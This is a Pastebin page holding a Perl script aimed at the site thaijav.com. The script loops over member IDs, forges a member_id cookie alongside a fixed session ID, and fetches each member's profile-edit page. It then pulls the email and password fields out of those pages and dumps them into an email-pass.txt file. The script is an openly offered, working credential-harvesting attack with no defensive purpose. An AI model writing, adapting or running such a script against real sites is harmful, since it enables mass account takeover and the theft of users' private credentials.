Advertisement
Quantumzblue

Jav prl $SSPHPID

Dec 3rd, 2016
498
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.38 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2. use Data::Dumper;
  3. use HTTP::Cookies;
  4. use LWP::UserAgent;
  5. use strict;
  6. $| =1;
  7.  
  8. sub cookie{
  9.     my $storedump = 'email-pass.txt';
  10.     my $password = 'edit_profile.php';
  11. my ($member_id)=@_;  # may error
  12.     my $dir = 'C:\Users\Blue\Desktop\thaijav.com\edit_profile.php';
  13. my $file ='password.php';
  14. my $url ='http://thaijav.com/edit_profile.php';
  15. #=================================== Making cookie =========================================================
  16. my $cookie_jar = HTTP::Cookies->new('hide_cookie2'=>1);
  17. $cookie_jar->set_cookie(0,'member_id',$member_id,'/','thaijav.com',,,,,);
  18. $cookie_jar->set_cookie(0,'PHPSESSID','229ae718e80cf11840e997717a29b3c1','/','thaijav.com',,,,,);
  19. #================================== Cookie Yum Yump ====================================================
  20. #============================== Create own Fake browser ===========================================
  21. my $browser = LWP::UserAgent->new(
  22.     agent=>'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/1.5.0.5',
  23.     cookie_jar => $cookie_jar,
  24.     max_redirect => 0,
  25.     timeout =>15,
  26.     );
  27. #============================== Finished Madafaka ! ================================================
  28.  
  29. my $resp = $browser->get($url);
  30. #my $resp = $browser->getstore("http://thaijav.com/edit_profile.php", 'password.php');
  31. my $content = $resp->content(); #make content store web scoure
  32.  
  33.  
  34.  
  35. open (OUTPUT, '>'.$password);
  36. {
  37.  
  38.     print OUTPUT $content;
  39.     print "[+]Done !! \n";
  40.     print "Check out the file \n";
  41. }
  42.  
  43. open (INPUT, $dir) or die ("[!]This file cannot be found \n");
  44. {
  45.     while (my $line = <INPUT>){
  46.             if($content=~ /password/){
  47.     #============================================ Replace php code into humain code =========================================
  48.     $line =~ s/email"\stype="text"\svalue="/Email:/ig;
  49.     $line =~ s/password"\stype="password"\svalue="/Pass:/ig;
  50.     #============================================ Finished replace Madafaka !! ==============================================
  51. open (DUMP,'>>'.$storedump) or die ("[!]The file for dump cannot be create \n");
  52. {
  53. #============================================================= Find Email / Password ===========================================
  54.     if ($line =~ /(Email:.*?")/) {
  55.         print "Member ID = $member_id:\n";
  56.         print "$1 \n";
  57.         print DUMP "Member ID = $member_id:\n";
  58.             print DUMP "$1 \n";
  59.            
  60.    
  61.                             }
  62.     if ($line =~ /(Pass:.*?")/){
  63.         print "$1 \n";
  64.             print DUMP "$1 \n";
  65.             print DUMP "---------------------------------------------------------------------------------------------------\n";
  66.  
  67.                             }
  68.             #====================================================End find Email / Password ===========================================
  69.     }#end if regular expression /password/
  70.                             }#end while
  71.  
  72. }#End Open (INPUT)
  73.  
  74.  
  75. }
  76. close (DUMP);
  77. close(OUTPUT);
  78. close (INPUT);
  79. }
  80. #=============================================================================== start ========================================================
  81. print "Entre the start ID : ";
  82. chop (my $start_id = <stdin>);
  83. #print "Entre the end ID : ";
  84. #chop ($end_id = <stdin>);
  85. while($start_id<27679)
  86. {
  87. cookie($start_id); #How to inject the second passing value intro this subroutin
  88. $start_id =$start_id+1;
  89. }
  90. #============================================================================== END ============================================================
  91. sleep();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement